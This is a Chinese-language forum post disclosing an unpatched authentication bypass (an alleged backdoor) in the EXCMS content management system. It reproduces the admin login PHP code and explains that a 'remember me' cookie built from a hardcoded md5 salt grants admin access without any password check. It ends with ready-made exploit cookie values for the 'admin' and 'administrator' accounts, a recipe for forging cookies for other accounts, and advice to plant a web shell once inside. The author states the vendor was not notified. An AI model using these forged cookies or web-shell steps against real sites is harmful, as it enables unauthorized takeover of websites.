喜欢听青蛙和鸣 發表於 2011-3-11 11:59:10

EXCMS 0day (过程精彩)

<p>  以下版本没测试 测试的是最新版本</p> <p>  在公布前几小时没有通知官方 ^_^ 哈哈</p> <p>  为什么说过程精彩呢? 看完就明白!</p> <p>  因为这个漏洞原因非一般! 同时映射出中国软件行业的悲哀!!!</p> <p>  经典对白 看代码</p> <p>  后台登录文件</p> <p>  adminModulesAuthIndex.php</p> <p>  </p> <p>  if ( defined( &quot;EXCMS&quot; ) ) //在admin/index.php里有了 下面文件都是包含运行方式的</p> <p>  {</p> <p>  }</p> <p>  if ( !defined( &quot;EXCMS_ADMIN&quot; ) )</p> <p>  {</p> <p>  exit( &quot;Access Denied&quot; );</p> <p>  }</p> <p>  $excms_action['title'] = &quot;登录&quot;; //标题</p> <p>  $forward = $_GET['forward']; //登录后转跳的地方</p> <p>  $verifycode = $EXCMS_CONFIG['login_verifycode']; //验证码。。。</p> <p>  if ( $_POST['loginType'] != 1 &amp;&amp; !empty( $_COOKIE['EXCMSADMIN'] ) )</p> <p>  //迈下伏笔了!</p> <p>  {</p> <p>  $defaultBoxDisplay = &quot;none&quot;;</p> <p>  $BoxDisplay = &quot;&quot;;</p> <p>  $remeberInfo = explode( &quot;&amp;&quot;, $_COOKIE['EXCMSADMIN'] );</p> <p>  //看到这里没? 神奇把?</p> <p>  $remeberAdmin = $remeberInfo;</p> <p>  $remeberPwd = $remeberInfo;</p> <p>  //账号密码获取了(COOKIES方式?) 看下去将会发生的事情很惊天地!</p> <p>  $pwdForever = strtoupper( md5( $remeberAdmin.&quot; love EXCMS forever&quot; ) );</p> <p>  //这就是中国特色! 作者 你知道良心2个字什么写吗? 你知道什么叫道德吗?</p> <p>  $remeberPwd = $remeberPwd == $pwdForever ? true : false;</p> <p>  $loginInputDispay = $remeberPwd ? &quot;none&quot; : &quot;&quot;;</p> <p>  $loginType = $remeberPwd ? 3 : 2;</p> <p>  }</p> <p>  else</p> <p>  {</p> <p>  $defaultBoxDisplay = &quot;&quot;;</p> <p>  $BoxDisplay = &quot;none&quot;;</p> <p>  $loginInputDispay = &quot;none&quot;;</p> <p>  $loginType = 1;</p> <p>  }</p> <p>  //下面是输出登录界面的</p> <p>  然后是CheckLogin.php 验证登录文件</p> <p>  经典对白 看代码!</p> <p>  </p> <p>  if ( defined( &quot;EXCMS&quot; ) )//index.php有了</p> <p>  {</p> <p>  }</p> <p>  if ( !defined( &quot;EXCMS_ADMIN&quot; ) )</p> <p>  {</p> <p>  exit( &quot;Access Denied&quot; );</p> <p>  }</p> <p>  $excms_action['loadtpl'] = true;</p> <p>  $adminname = trim( $param['adminname'] );</p> <p>  $password = trim( $param['loginType'] == 2 ? $param['password1'] : $param['password'] );</p> <p>  $rememberPwd = $param['loginType'] == 2 ? $param['savePwd'] : $param['rememberPwd'];</p> <p>  $forward = $param['forward'];</p> <p>  $login_fail = true;</p> <p>  $error = &quot;&quot;;</p> <p>  //以上东西不用理 $param都是POST方式的</p> <p>  if ( empty( $adminname ) )</p> <p>  //检测账户是否为空</p> <p>  {</p> <p>  $error = getlangbyname( &quot;EMPTY_ADMINNAME&quot; );</p> <p>  }</p> <p>  else if ( $param['loginType'] != 3 &amp;&amp; empty( $password ) )</p> <p>  //检测这个什么东西 可能是步骤把 是否第3步和密码是否是空</p> <p>  {</p> <p>  $error = getlangbyname( &quot;EMPTY_PASSWORD&quot; );</p> <p>  }</p> <p>  else</p> <p>  {</p> <p>  if ( $param['loginType'] == 3 )</p> <p>  {</p> <p>  //以下内容绝非因失误做成的漏洞 以这个程序编写技术 没可能这样 可以找任何PHP高手鉴证</p> <p>  $remeberInfo = explode( &quot;&amp;&quot;, $_COOKIE['EXCMSADMIN'] );</p> <p>  $remeberAdmin = $remeberInfo;</p> <p>  $remeberPwd = $remeberInfo;</p> <p>  //账号密码从COOKIES里获取!</p> <p>  $pwdForever = strtoupper( md5( $adminname.&quot; love EXCMS forever&quot; ) );</p> <p>  if ( $remeberPwd == $pwdForever )</p> <p>  //COOKIES里的账号加密过程 比ESPCMS还简单~~</p> <p>  {</p> <p>  include_once( LIB_PATH.&quot;system/Admin.class.php&quot; );</p> <p>  $admin_obj = new Admin( );</p> <p>  $admin = $admin_obj-&gt;getByAdminname( $adminname );</p> <p>  //悲剧! 只验证了管理员账号 没有验证密码!!!</p> <p>  if ( $admin )</p> <p>  {</p> <p>  $admin['acl'] = $admin_obj-&gt;getAdminACL( $admin['adminid'] );</p> <p>  $_SESSION['admininfo'] = $admin;</p> <p>  //获得管理员权限了!!!!!!!!!</p> <p>  ++$_SESSION['admininfo']['logintimes'];</p> <p>  $admin_obj-&gt;updateLastLogin( $admin['adminid'] );</p> <p>  include_once( LIB_PATH.&quot;auth/Auth.class.php&quot; );</p> <p>  $auth = new Auth( );</p> <p>  $auth-&gt;checkMenu( true );</p> <p>  $excms_action['loadtpl'] = false;</p> <p>  $login_fail = false;</p> <p>  }</p> <p>  }</p> <p>  }</p> <p>  else</p> <p>  //跳过没有COKIES 下面就是真正的验证登录状态 请注意 是有验证密码的!</p> <p>  {</p> <p>  if ( $EXCMS['config']['login_verifycode'] )</p> <p>  {</p> <p>  $param['verifycode'] = trim( $param['verifycode'] );</p> <p>  if ( $param['verifycode'] == &quot;&quot; )</p> <p>  {</p> <p>  $error = getlangbyname( &quot;EMPTY_VERIFYCODE&quot; );</p> <p>  }</p> <p>  else</p> <p>  {</p> <p>  include_once( LIB_PATH.&quot;util/CheckCode.class.php&quot; );</p> <p>  $checkcode = new CheckCode( );</p> <p>  if ( !$checkcode-&gt;check( $param['verifycode'] ) )</p> <p>  {</p> <p>  $error = getlangbyname( &quot;VERIFYCODE_FAILED&quot; );</p> <p>  }</p> <p>  }</p> <p>  }</p> <p>  if ( empty( $error ) )</p> <p>  {</p> <p>  include_once( LIB_PATH.&quot;auth/Auth.class.php&quot; );</p> <p>  $auth = new Auth( );</p> <p>  $loginMsg = $auth-&gt;Login( $adminname, $password );</p> <p>  if ( $loginMsg['success'] )</p> <p>  {</p> <p>  $_SESSION['admininfo'] = $loginMsg['admininfo'];</p> <p>  ++$_SESSION['admininfo']['logintimes'];</p> <p>  $auth-&gt;checkMenu( true );</p> <p>  if ( $rememberPwd == 1 )</p> <p>  {</p> <p>  $pwdForever = strtoupper( md5( $adminname.&quot; love EXCMS forever&quot; ) );</p> <p>  setcookie( &quot;EXCMSADMIN&quot;, $adminname.&quot;&amp;&quot;.$pwdForever, time( ) + 2592000 );</p> <p>  }</p> <p>  else if ( $param['loginType'] != 2 &amp;&amp; $param['rememberMe'] == 1 )</p> <p>  {</p> <p>  setcookie( &quot;EXCMSADMIN&quot;, $adminname, time( ) + 2592000 );</p> <p>  }</p> <p>  $login_fail = false;</p> <p>  $excms_action['loadtpl'] = false;</p> <p>  }</p> <p>  else</p> <p>  {</p> <p>  $error = getlangbyname( $loginMsg['message'] );</p> <p>  }</p> <p>  }</p> <p>  }</p> <p>  }</p> <p>  if ( !$login_fail )</p> <p>  {</p> <p>  if ( empty( $forward ) || strpos( $forward, &quot;index.php?M=Auth&quot; ) )</p> <p>  {</p> <p>  header( &quot;Location:index.php&quot;, true );</p> <p>  exit( );</p> <p>  }</p> <p>  header( &quot;Location:&quot;.$forward, true );</p> <p>  exit( );</p> <p>  }</p> <p>  $errorCls = &quot;f&quot;;</p> <p>  if ( $excms_action['loadtpl'] )</p> <p>  {</p> <p>  if ( !$error )</p> <p>  {</p> <p>  $error = getlangbyname( &quot;LOGIN_FAILED&quot; );</p> <p>  }</p> <p>  require( MODULES_PATH.&quot;Auth/Index.php&quot; );</p> <p>  }</p> <p>  ?&gt;</p> <p>  //分析完毕</p> <p>  最后给出EXP</p> <p>  EXCMSADMIN=admin%26858A611C5651AC436D4450CE23A858D1;</p> <p>  EXCMSADMIN=administrator%263E0331271F1133F9613BD49E7C4FB0CD;</p> <p>  第1个是admin</p> <p>  第2个是administrator 一般 就这2个 其他账号的话请自行结构</p> <p>  结构方法 setcookie( &quot;EXCMSADMIN&quot;, md5( 账号.&quot; love EXCMS forever&quot; ) );</p> <p>  然后 strtoupper一次 就是把字母都变大写</p> <p>  修改COOKIES 直接进入后台 然后自定义页面 写入网马</p> <p>  后语 这个COOKIES&ldquo;漏洞&rdquo;并非是记住管理登录状态</p> <p>  记住管理登录的COOKIES是 SESSION ID 验证这个</p> <p>  所以这个漏洞100%是作者留下的后门!</p> <p>&nbsp;</p>
頁: [1]
查看完整版本: EXCMS 0day (过程精彩)